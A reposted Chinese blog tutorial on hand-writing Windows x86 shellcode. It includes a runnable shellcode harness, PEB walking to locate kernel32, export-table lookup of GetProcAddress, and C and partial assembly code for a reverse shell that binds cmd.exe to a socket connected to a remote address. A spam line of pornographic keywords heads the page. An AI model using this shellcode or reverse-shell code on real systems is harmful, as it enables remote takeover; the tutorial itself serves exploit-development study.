日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > windows >内容正文

windows

64位虚拟机下asm()语法_一步步学写Windows下的Shellcode

發(fā)布時(shí)間:2024/6/1 windows 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 64位虚拟机下asm()语法_一步步学写Windows下的Shellcode 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

如何在WIndows下編寫(xiě)一個(gè)shellcode?為什么會(huì)問(wèn)這個(gè)問(wèn)題,前段時(shí)間在做win下的Exploit,但是都是使用大佬寫(xiě)的shellcode,無(wú)法實(shí)現(xiàn)個(gè)人的一些需求。而網(wǎng)絡(luò)上編寫(xiě)shellcode的教程大多是關(guān)于Linux的,加之順帶學(xué)習(xí)PE文件結(jié)構(gòu),所以打算寫(xiě)一篇關(guān)于Windows 下shellcode的編寫(xiě),為要編寫(xiě)Shellcdoe的讀者提供一些參考。

摘要:

在C語(yǔ)言中,調(diào)用一個(gè)函數(shù),編寫(xiě)者無(wú)需關(guān)心函數(shù)地址是如何獲取的,所有的操作IDE在進(jìn)行鏈接的時(shí)候幫助我們完成了。但是在shellcode中,這些操作都需要我們自己去完成,理解PE結(jié)構(gòu),理解函數(shù)表,這些都是shellcode編寫(xiě)最有魅力的一部分。

本文的邏輯首先是從C代碼著手,學(xué)習(xí)如何使用匯編重現(xiàn)的基礎(chǔ),編寫(xiě)一個(gè)無(wú)移植性的shellcode作基礎(chǔ)引導(dǎo)。在掌握了硬編碼編寫(xiě)之后,通過(guò)掌握獲取函數(shù)導(dǎo)出表,編寫(xiě)能夠在所有Windows版本上運(yùn)行的通用shellcode。

這篇文章時(shí)間跨度比較久遠(yuǎn),起筆還是暑假在貴陽(yáng)的時(shí)候,后來(lái)做了一段時(shí)間WEB安全,這篇文章便寫(xiě)了一小半就爛尾了。后來(lái)投入到Win/Browser下漏洞的懷抱中(最近又回Ubuntu了,渣男。出戲:陸司令:何書(shū)桓!你在我的兩個(gè)女兒之間跳來(lái)跳去,算什么東西!),需要在WIN7下做一些自定義shellcode,自己之前自定義的shellcode居然無(wú)法在WIN7下運(yùn)行,于是想起這篇未完工的文章,借此對(duì)shellcode編寫(xiě)做一次總結(jié)與復(fù)習(xí)。

0x00 創(chuàng)建自己的SC實(shí)驗(yàn)室

當(dāng)我們創(chuàng)建自己的shellcode實(shí)驗(yàn)室時(shí)候,我們必須清楚無(wú)論是自己編寫(xiě)的,亦或者是網(wǎng)絡(luò)上獲取的shellcode,我們都需要對(duì)其的行為有一個(gè)深刻的了解。

首先是安全性,要做的就是在一個(gè)相對(duì)安全的環(huán)境下進(jìn)行測(cè)試(例如虛擬機(jī)),以保證不會(huì)被黑吃黑。

其次,這個(gè)測(cè)試方法要足夠方便。不能將shellcode隨意的扔到自己寫(xiě)的Exploit中進(jìn)行測(cè)試,因?yàn)榇蠖鄶?shù)Exploit對(duì)shellcode的格式要求是非常嚴(yán)格的,尤其是棧溢出方面的漏洞。初期編寫(xiě)的shellcode可能包含大量Null字節(jié),容易被strcpy截?cái)唷?比如筆者寫(xiě)的shellcode基本都通不過(guò)棧溢出的測(cè)試。。汗,一般直接扔到Browser的Exploit里)

下面是我們的shellcode調(diào)試環(huán)境,如果是WIN7以后的版本需要將DEP選項(xiàng)關(guān)閉。

Shellcode-lab

調(diào)試一段shellcode環(huán)境:windows xp sp0編譯器:VC++6.0

char shellcode[]="xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
"x00x53xffxd5x6ex6fx74x65x70x61x64x2ex65x78x65"
"x00";


int main(int argc,char **argv){
/*方法一 VC++6.0 error報(bào)錯(cuò)*/
/*
int(*func)(); //創(chuàng)建一個(gè)函數(shù)指針func
func=(int (*)())shellcode; //將shellcode的地址賦值給func
(int)(*func)();//調(diào)用func
*/
/*方法二 asm*/
__asm
{
lea eax,shellcode//將shellcode地址賦值給eax
push eax//將eax入棧
ret//跳轉(zhuǎn)到eax地址
}
//PS:第二種方法只有關(guān)閉NX/DEP才行(XP下就沒(méi)有這個(gè)問(wèn)題)
}

0x01從C到shellcode

shellcode大多是包含很多惡意行為的代碼,就如它名字由來(lái)的那樣 “獲取shell的代碼”。

但是在漏洞大多數(shù)復(fù)現(xiàn)中,我們需要做的僅僅是證明自己能夠利用,所以我們編寫(xiě)的shellcode需要滿足無(wú)害性和可見(jiàn)性。例如彈出一個(gè)計(jì)算器,或者如下面的C代碼一樣,讓Exploit彈出一個(gè)極具個(gè)人風(fēng)格的MessageBox也是一個(gè)不錯(cuò)的選擇。

C實(shí)現(xiàn)非常簡(jiǎn)單,只需要調(diào)用MessageBox函數(shù),寫(xiě)入?yún)?shù)。

#includeint main(int argc,char** argv){
MessageBox(NULL,"You are hacked by Migraine!","Pwned",MB_OK);
}

放入IDA,查找到Main函數(shù)的位置。
可以查看反匯編,四個(gè)參數(shù)分別PUSH入棧,然后調(diào)用MessageBoxA
MSDN對(duì)MessageBox的描述

放入IDA,查找到Main函數(shù)的位置。
可以查看反匯編,四個(gè)參數(shù)分別PUSH入棧,然后調(diào)用MessageBoxA
MSDN對(duì)MessageBox的描述

int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaptioUINT uType );

在OD中下斷點(diǎn)調(diào)試,得到同樣的結(jié)果。

基于調(diào)試可知,MessageBoxA從USER32.DLL加載到內(nèi)存的地址為0x77D3ADD7

當(dāng)然這個(gè)地址是非常不穩(wěn)定的,受到操作系統(tǒng)版本還有很多因素(例如ASLR)的影響
不過(guò)為了簡(jiǎn)便shellcode,目前將這部分先放一放。

在我們編寫(xiě)的另一個(gè)程序中(見(jiàn)下文),發(fā)現(xiàn)這個(gè)函數(shù)依舊被映射到了同一個(gè)位置
因?yàn)閄P沒(méi)有開(kāi)啟ASLR的緣故,DLL加載的基地址不會(huì)變化
值得注意的是該程序需要調(diào)用USER32.DLL,否則需要手動(dòng)LoadLibrary

但是現(xiàn)在這段C生成的代碼,直接提取字節(jié)碼是行不通的。
函數(shù)的參數(shù)被放在了該程序的Rodata段中調(diào)用,與地址無(wú)關(guān)的段。
而我們要求shellcode能在任何環(huán)境下運(yùn)行,需要保證參數(shù)可控,即需要將參數(shù)入棧,然后再調(diào)用。

接下來(lái)用匯編重寫(xiě)一遍(C嵌入asm)
通過(guò)自己將數(shù)據(jù)入棧,然后調(diào)用MessageBoxA

#include
void main()
{
LoadLibrary("user32.dll");//Load DLL
__asm
{push 0x00656e;nepush 0x69617267;graipush 0x694d2079;y Mipush 0x62206565;ed bpush 0x6b636168;hackpush 0x20657261;Arepush 0x20756F59;You
mov ebx,esppush 0x0push 0x656e6961;ainepush 0x7267694d;Migr
mov ecx,esp
//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );xor eax,eaxpush eax//uTyoe->0push ecx//lpCaption->Migrainepush ebx//lpText->You are hacked by Migrainepush eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}
}

將ASM提取字節(jié)碼

再OD中查看這一段ASM

使用UltraEditor查看16進(jìn)制字節(jié)碼,然后找到我們的ASM,復(fù)制便成功提取了我們的shellcode

68 6E 65 00 00 68 67 72 61 69 68 79 20 4D 69 68
65 65 20 62 68 68 61 63 6B 68 61 72 65 20 68 59
6F 75 20 8B DC 6A 00 68 61 69 6E 65 68 4D 69 67
72 8B CC 33 C0 50 51 53 50 BE D7 AD D3 77 FF D6
5F 5E 5B 83 C4 40 3B EC E8 97 3B FF FF

調(diào)整一下格式,便獲取到了shellcode

char shellcode[]="x68x6Ex65x00x00x68x67x72x61x69x68x79x20x4Dx69x68""x65x65x20x62x68x68x61x63x6Bx68x61x72x65x20x68x59""x6Fx75x20x8BxDCx6Ax00x68x61x69x6Ex65x68x4Dx69x67""x72x8BxCCx33xC0x50x51x53x50xBExD7xADxD3x77xFFxD6""x5Fx5Ex5Bx83xC4x40x3BxECxE8x97x3BxFFxFF";

放入上文搭建的shellcode調(diào)試環(huán)境,添加LoadLibrary(“user32.dll”);以及頭文件#include

在WInodws xp下運(yùn)行效果理想

優(yōu)化shellcode

去除null字節(jié)

這里使用xor配合sub就能夠完全去除null,還有一些其他方法,使用16位寄存器避免null字節(jié),在《exploit編寫(xiě)教程》上面都有詳細(xì)的介紹,就不再重復(fù)造輪子了。

__asm
{/*使用sub來(lái)替換/x00*/
mov eax,0x1111767f
sub eax,0x11111111
push eax//push 0x0000656e;ne
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp/*使用xor來(lái)替換/x00*/xor eax,eax
push eax//push 0x0
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );xor eax,eax
push eax//uTyoe->0
push ecx//lpCaption->Migraine
push ebx//lpText->You are hacked by Migraine
push eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}

此時(shí)生成的shellcode就不存在x00了

0x02編寫(xiě)更穩(wěn)定Shellcode

如何提高shellcode 的可移植性一直是一個(gè)需要我們?cè)谝坏膯?wèn)題。

前文我們編寫(xiě)的MessageBoxA的地址是硬編碼的,導(dǎo)致這段shellcode只能利用于windows xp sp0。

但是Windows并不支持像Linux那樣的int 0x80中斷呼叫函數(shù)的操作,于是唯一的方法就是通過(guò)PE文件中的函數(shù)導(dǎo)出表獲取函數(shù)此刻的地址,這個(gè)方法在提高可移植性的同時(shí),還可以一勞永逸地解決ASLR帶來(lái)的地址偏移問(wèn)題。

1. 動(dòng)態(tài)定位kernel32.dll

不同版本的操作系統(tǒng),kernel32.dll的基地址也是不同的。Windows沒(méi)有l(wèi)inux那樣方便的中斷機(jī)制來(lái)調(diào)用系統(tǒng)函數(shù),所以只能通過(guò)基址+偏移地址來(lái)確定函數(shù)的位置。

通過(guò)PEB獲得基址

我們可以通過(guò)Windbg解析PEB(WindowsXP符號(hào)表已經(jīng)不再支持自動(dòng)下載)

所以手動(dòng)下載安裝WindowsXP-KB936929-SP3-x86-symbols-full-ENU.exe

但是碰到一些問(wèn)題,所以在Windows10下用Windbg(x86)進(jìn)行PEB分析

使用windbg加載任意一個(gè)x86程序,會(huì)出現(xiàn)break,等待到出現(xiàn)int 3即可進(jìn)行操作

!peb可以自動(dòng)分析,可以查詢到KERNEL32.DLL的地址。

PEB是進(jìn)程環(huán)境塊,由TEB線程環(huán)境塊偏移0x30字節(jié)。我們這里需要直到查找地址的原理。
大概流程是通過(guò)FS段選擇器找到TEB,通過(guò)TEB找到PEB,然后獲取kernel和ntdll的地址。
接下來(lái)我們?cè)趙indbg中,來(lái)手工實(shí)現(xiàn)PEB結(jié)構(gòu)分析,之后會(huì)使用匯編完成Kernel基址的讀取。
查看PEB結(jié)構(gòu)

直接查看LDR結(jié)構(gòu)

偏移0xc,選擇InLoadOrderModuleList
查看這個(gè)_LIST_ENTRY結(jié)構(gòu)

_LIST_ENTRY 是一個(gè)存放雙向鏈表的數(shù)據(jù)結(jié)構(gòu)(包含于_LDR_DATA_TABLE_ENTRY)
_LDR_DATA_TABLE_ENTRY是存放載入模塊信息的結(jié)構(gòu),并且是由_LIST_ENTRY這個(gè)雙向鏈表串聯(lián)起來(lái)。
由三種串聯(lián)方式,區(qū)別僅在于排列順序(上文我們偏移0x14選擇InMemoryOrderModuleList )

+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x51c00 - 0x78f6b88 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x51c08 - 0x78f6b90 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x51c90 - 0x78f6b98 ]

第一個(gè)_List_ENTRY指向的地址是0x51c08(因?yàn)镮nMemoryOrderModuleList的指針指向的是下一個(gè)結(jié)構(gòu)的InMemoryOrderModuleList,而不是_LDR_DATA_TABLE_ENTRY的結(jié)構(gòu)頭,需要偏移0x8)

查看對(duì)應(yīng)的_LDR_DATA_TABLE_ENTRY結(jié)構(gòu),得知這是iexplore.exe(調(diào)試的宿主程序)的基地址為0x01120000(DLLBase)

接下來(lái)順著LIST_ENTRY,往下尋找結(jié)點(diǎn)。發(fā)現(xiàn)kernel在第三個(gè)結(jié)點(diǎn)。

查看這個(gè)地址的_LDR_DATA_TABLE_ENTRY結(jié)構(gòu)
通過(guò)這兩次觀察,可以發(fā)現(xiàn),實(shí)際上這個(gè)結(jié)構(gòu)體的第一個(gè)結(jié)構(gòu)就是_List_ENTRY,負(fù)責(zé)將這些_LDR_DATA_TABLE_ENTRY結(jié)構(gòu)串聯(lián)成鏈表。
偏移0x18可以得出DllBase為0x77e10000

成功獲取Kernel的基地址。
用接下來(lái)用匯編實(shí)現(xiàn)kernel地址的讀取
原理是在InMemoryOrderModuleList結(jié)構(gòu)中,kernel位置固定為第三個(gè)。

global CMAIN
CMAIN:
mov ebp, esp; for correct debuggingxor ebx,ebx
mov ebx,[fs:0x30] ;TEB+0x30->PEB
mov ebx,[ebx+0xc] ;PEB+0xc->LDR
mov ebx,[ebx+0x14] ;LDR+0x14->InMemoryOrderModuleList-->_LIST_ENTRY第一個(gè)節(jié)點(diǎn)->??.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第二個(gè)節(jié)點(diǎn)->ntdll.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第三個(gè)節(jié)點(diǎn)->Kernel.dll
mov ebx,[ebx+0x10]; DllBase偏移0x18減去指向偏移0x8;下文會(huì)詳細(xì)分析xor eax, eax
ret

使用SASM調(diào)試,在結(jié)尾下斷點(diǎn),發(fā)現(xiàn)ebx已經(jīng)成功賦值為了kernel的地址,與windbg顯示的一致。(此處的匯編代碼是之前在另一臺(tái)機(jī)器上做的實(shí)驗(yàn),所以kernel地址不同,希望不要引起爭(zhēng)議)

使用命令!peb

如果需要在VS下編譯,也可采用內(nèi)聯(lián)匯編實(shí)現(xiàn)。

int _tmain(int argc, _TCHAR* argv[])
{int kernel32=0;
_asm{xor ebx,ebx
mov ebx,fs:[0x30]
mov ebx,[ebx+0xc]
mov ebx,[ebx+0x14]
mov ebx,[ebx];ntdll
mov ebx,[ebx];kernel
mov ebx,[ebx+0x10];DllBase
mov kernel32,ebx
}printf("kernel32=0x%x",kernel32);
getchar();return 0;
}

上述代碼中(SASM),比較需要注意的第15行為ebx+0x10而不是0x18(_LDR_DATA_TABLE_ENTRY結(jié)構(gòu)中標(biāo)準(zhǔn)的DllBase偏移)
主要原因是InMemoryOrderLinks的指針指向的是下一個(gè)_LDR_DATA_TABLE_ENTRY的InMemoryOrderLinks(結(jié)構(gòu)偏移0x08),所以需要該地址減去-0x8才是正確的文件頭(圖中案例0x954dd0-0x8)
所以當(dāng)ebx存放InMemoryOrderLinks的指針時(shí),要獲取DllBase需要偏移0x18-0x8=0x10

至此我們已經(jīng)獲取到了kernel32.dll的基地址,獲取這個(gè)地址的方法還有很多方法,使用SEH、TEB都可以間接獲取Kerne32的地址,如果有需要可以參考《Exploit編寫(xiě)系列教程》。還有需要注意的是不同系統(tǒng)下,某些獲取方法可能會(huì)失效,這次實(shí)驗(yàn)的測(cè)試環(huán)境(Win7)下的尋址就和之前的系統(tǒng)有一些不同,所以可能不會(huì)向前兼容,不過(guò)通過(guò)windbg對(duì)單個(gè)系統(tǒng)進(jìn)行符號(hào)調(diào)試,是很容易發(fā)現(xiàn)區(qū)別的并且修改方案。

2. 獲取函數(shù)地址

在理解這部分之前,我們首先需要對(duì)PE格式有一定的了解。就從我們剛才獲取了基地址的Kernel32作為基礎(chǔ),一步步看如何獲取系統(tǒng)API函數(shù)的地址。

首先從DOS頭開(kāi)始,Windbg能夠使用符號(hào)表來(lái)對(duì)地址進(jìn)行解析。
解析_IMAGE_DOS_HEADER結(jié)構(gòu),我們只需要了解e_lfanew字段,指向PE頭,該字段在在DOS頭偏移0x3c的位置。

之前的kernel基址加上e_lfanew字段的偏移(0n開(kāi)頭表示十進(jìn)制)是指向PE頭的指針。

獲取了PE頭指針,我們即可以使用windbg解析PE頭的_IMAGE_NT_HEADERS結(jié)構(gòu)
_IMAGE_FILE_HEADER 是一個(gè)結(jié)構(gòu)體,包含代碼數(shù)目、機(jī)器類型以及特征等信息。
而我們這里需要使用的結(jié)構(gòu)體是_IMAGE_OPTIONAL_HEADER

繼續(xù)利用windbg分析,經(jīng)過(guò)兩次分析,現(xiàn)在的讀者應(yīng)該也已經(jīng)輕車熟路了。

分析_IMAGE_OPTIONAL_HEADER,其包含以下幾個(gè)信息。

很顯然,偏移0x60的DataDirectory段就是函數(shù)導(dǎo)出表的偏移。

AddressOfEntryPoint:exe/dll 開(kāi)始執(zhí)行代碼的地址,即入口點(diǎn)地址。
ImageBase:DLL加載到內(nèi)存中的地址,即映像基址。
DataDirectory-導(dǎo)入或?qū)С龊瘮?shù)等信息。

繼續(xù)解析這個(gè)結(jié)構(gòu),終于獲取到了這個(gè)結(jié)構(gòu)到VA。

因?yàn)槲覀冎暗慕馕龆紱](méi)有用到指針,所以可以一起算VA偏移PE頭一共0x78字節(jié)(240是PE偏移DOS,是動(dòng)態(tài)獲取)

獲取到DATA DIRECTORY結(jié)構(gòu)到VirtualAddress地址
我們關(guān)心的主要有三個(gè)數(shù)組結(jié)構(gòu)

AddressOfFunctions:指向一個(gè)DWORD類型的數(shù)組,每個(gè)數(shù)組元素指向一個(gè)函數(shù)地址。
AddressOfNames:指向一個(gè)DWORD類型的數(shù)組,每個(gè)數(shù)組元素指向一個(gè)函數(shù)名稱的字符串。
AddressOfNameOrdinals:指向一個(gè)WORD類型的數(shù)組,每個(gè)數(shù)組元素表示相應(yīng)函數(shù)的排列序號(hào)

AddressOfNames的結(jié)構(gòu)是一個(gè)數(shù)組指針,每個(gè)機(jī)器位(4字節(jié))都指向一個(gè)函數(shù)名的字符串。
所以我們可以通過(guò)遍歷這個(gè)數(shù)組,結(jié)合字符串匹配獲取到該函數(shù)的序號(hào)。

AddressOfNameOrdinals存放這對(duì)應(yīng)函數(shù)的索引值,在獲取了函數(shù)的序號(hào)之后,按照序號(hào)查找函數(shù)索引值。
需要注意的是每個(gè)索引值占2字節(jié)。
例如第三個(gè)函數(shù)ActivateActCtx函數(shù)的索引值為4

AddressOfFunctions則根據(jù)索引排序,存放著函數(shù)的地址。
地址加上0x10[索引4字節(jié)*指針4字節(jié)]存放ActivateActCtx函數(shù)的偏移地址。

我們使用匯編來(lái)實(shí)現(xiàn)這一過(guò)程,接著上面的匯編代碼,此時(shí)的EBX存放Kernel32的地址。

;從Kernel32的PE頭,獲取DATA DIRECTORY的地址
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offsetadd edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORYadd edx,ebx ;EDX=DATA DIRECTORY
;將字符串與AddressOfNames 數(shù)組匹配,獲得函數(shù)的序號(hào)
;compare string
xor ecx,ecx
mov esi,[edx+0x20]add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;通過(guò)序號(hào)在AddressOfNameOrdinals中獲取索引
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinalsadd esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
;通過(guò)索引在AddressOfFunctions中獲取函數(shù)地址,存放于EDX
mov esi,[edx+0x1c];AddressOfFunctionsadd esi,ebx
mov edx,[esi+ecx*4]add edx,ebx ;EDX = GetProcAddress

此時(shí)我們已經(jīng)獲取了GetProcAddress函數(shù)的地址,所有關(guān)于PE文件的內(nèi)容到這里也就結(jié)束了,之后我們就可以想C語(yǔ)言一樣非常容易地調(diào)用一個(gè)函數(shù)。我們已經(jīng)度過(guò)了編寫(xiě)shellcode最黑暗的過(guò)程,接下來(lái)迎接著我們的將是一條康莊大道。

通過(guò)GetProcAddress,我們首先可以使用獲取LoadLibrary函數(shù)的地址,該函數(shù)可以用來(lái)加載user32模塊,同時(shí)獲取其基地址。這部分就比較簡(jiǎn)單了,直接貼代碼。

;Get LoadLibraryxor ecx,ecxpush ebx ;Kernel32 入棧備份push edx ;GerProcAddress 入棧備份push ecx ;0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp;"LoadLibraryA"push ebx ;
call edx ;GerProcAddress(Kernel32,"LoadLibraryA")
add esp,0xc ;pop "LoadLibraryA"pop ecx; ECX=0push eax ;EAX=LoadLibraryApush ecx
mov cx, 0x6c6c ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")

到這里,有一定匯編和WIN32基礎(chǔ)的讀者已經(jīng)可以編寫(xiě)shellcode邏輯了,思路即通過(guò)GetPrcAddress函數(shù)獲取需要的函數(shù)地址,能結(jié)合完成各項(xiàng)功能,剩下的部分就需要讀者發(fā)揮自己天才的想象力了。

文末會(huì)提供一個(gè)完整編寫(xiě)的shellcode作為案例。

0x03三種經(jīng)典的shellcode形式

Shellcode在功能性上的實(shí)現(xiàn),主要分為以下三大類
分別是下載惡意文件執(zhí)行、程序本身捆綁文件還有直接反彈shell獲得控制權(quán)
在內(nèi)核層面則還有提權(quán)等操作,這里只對(duì)應(yīng)用層shellcode功能實(shí)現(xiàn)做一個(gè)歸類。

(1)下載執(zhí)行

調(diào)用URLDownloadToFile函數(shù)下載惡意文件到本地,并且使用Winexec執(zhí)行
函數(shù)原型

HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);

(2)捆綁

通過(guò)GetFileSize獲取文件句柄,獲取釋放路徑(GetTempPathA),設(shè)置好文件指針(SetFilePoint),使用VirtualAlloc在內(nèi)存中申請(qǐng)一塊內(nèi)存,再將數(shù)據(jù)讀取(ReadFile)寫(xiě)入到本地文件(CreateFIle WriteFile),最后在對(duì)該文件執(zhí)行。

(3)反彈shell

反彈shell屬于無(wú)文件攻擊,使用socket遠(yuǎn)程獲得對(duì)方的cmd.exe。優(yōu)點(diǎn)是不容易留下日志,適合滲透測(cè)試中使用,缺點(diǎn)也很明顯,維持連接的穩(wěn)定性較差。

在Windows下實(shí)現(xiàn)反彈shell,比Linux多了一個(gè)步驟,啟動(dòng)或者初始化winsock庫(kù),之后創(chuàng)建cmd.exe進(jìn)程然后TCP連接端口/打開(kāi)監(jiān)聽(tīng)方法都是相近的。

需要注意的使用C編程可以使用Socket結(jié)合雙管道進(jìn)行通信,但是用匯編管道編寫(xiě)比較麻煩。不建議使用管道來(lái)進(jìn)行通信。解決方案是使用WSASocket代替Socket,這個(gè)函數(shù)支持IO重疊。

函數(shù)原型

SOCKET WSASocket (
  int af,
  int type,
  int protocol,
  LPWSAPROTOCOL_INFO lpProtocolInfo,
  GROUP g,
  DWORD dwFlags
  );

這里我們主要針對(duì)第三種功能,實(shí)現(xiàn)一個(gè)無(wú)管道的反彈shell代碼。
因?yàn)槠^長(zhǎng),這里使用C++實(shí)現(xiàn),接下來(lái)只需要用匯編調(diào)用函數(shù)實(shí)現(xiàn)即可。
本部分參考博客:https://blog.csdn.net/PeterZ1997/article/details/79448916

實(shí)現(xiàn)環(huán)境

WIN7 SP1
VS2010

首先實(shí)現(xiàn)一個(gè)TCP連接,使用nc做連接測(cè)試。

WSASocket的使用與Socket基本一致,多出來(lái)的參數(shù)設(shè)置為NULL即可。

包含頭文件WinSock2.h和winsock.h

//初始化WSA套接字
WSADATA wsd;
WSAStartup(0x0202,&wsd);
SOCKET socket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SOCKADDR_IN sin;sin.sin_addr.S_un.S_addr=inet_addr(REMOTE_ADDR);sin.sin_port=htons(REMOTE_PORT);sin.sin_family=AF_INET;//連接遠(yuǎn)程的服務(wù)端,發(fā)送驗(yàn)證代碼
connect(socket,(sockaddr*)&sin,sizeof(sin));
send(socket,"[+]Hello!n",strlen("[+]Hello!n"),0);
接下來(lái)將使用CreateProcess為cmd.exe創(chuàng)建子進(jìn)程,然后將標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤輸出都綁定到socket上。(這部分在Linux下實(shí)現(xiàn)比起Windows就簡(jiǎn)單多了,可以直接重定向)//創(chuàng)建cmd進(jìn)程
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb=sizeof(STARTUPINFO);
si.hStdInput=si.si.hStdOutput=si.hStdError=(HANDLE)socket; //將標(biāo)準(zhǔn)輸入輸出綁定到Socket
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
TCHAR cmdline[255]=L"cmd.exe";while(!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)){ //創(chuàng)建進(jìn)程,第五個(gè)參數(shù)TRUE子進(jìn)程繼承父進(jìn)程的所有句柄
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

在匯編編寫(xiě)中,可以講首先計(jì)算出關(guān)鍵函數(shù)和DLL的基地址并且放入棧幀,方便隨時(shí)調(diào)用。

socket類的函數(shù)(WSAStartup、connect)如果執(zhí)行成功EAX會(huì)返回0,如果失敗會(huì)返回-1(0xFFFFFFFF)

以上程序?qū)崿F(xiàn)函數(shù)的來(lái)源

Kernel32.dll

CreateProcessA
GetStartupInfoA
LoadLibraryA

ws2_32.dll

WSAStartup
WSASocketA
connect

使用匯編編寫(xiě)

初始化部分(代碼量較大,僅做參考,速讀的讀者可以暫時(shí)跳過(guò)這部分)

nop
nop
nop
;get the address of kernel32.dllxor ecx,ecx
mov eax,fs:[0x30];EAX=PEB
mov eax,[eax+0xc];EAX=PEB->LDR
mov esi,[eax+0x14];ESI=PEB->Ldr.lnMemOrder
lodsd ;mov eax,[esi];esi+=4;EAX=SecondMod->ntdll
xchg eax,esi
lodsd ;EAX=ThirdMod->kernel
mov ebx,[eax+0x10] ;EBX=kernel->DllBase
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;compare stringxor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcessAddress
;EDX=GetProcAddr
;EBX=kernel32
;get CreateProcess addressxor ecx,ecxpush ebx ;Kernel32push edx;GetProcAddr
mov cx,0x4173;sApush ecx ;sApush 0x7365636F;ocespush 0x72506574;tePrpush 0x61657243;Creapush esp ;"CreateProcessA"push ebx
call edx;GetProcAddr("CreateProcessA")
add esp,0x10 ;clean stackpush eax ;CreateProcessA
;CreateProcessA ;GetProcAddr 4
;Kernel32 8

//mov ebx,[esp+8];Kernel32
mov edx,[esp+4];GetProAddr

;get GetStartupInfo address
mov ecx,0x416F66
push ecx;foA
push 0x6E497075;upIn
push 0x74726174;tart
push 0x53746547;GetS
push esp
push ebx ;Kernel32
call edx ;GetProAddresss("GetStartupInfoA")


add esp,0x10;clean stack
push eax ;GetStartupInfoA
mov edx,[esp+8];GetProAddr
;Get LoadLibrary
xor ecx,ecx
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress("LoadLibraryA")



add esp,0xc ;pop "LoadLibraryA"
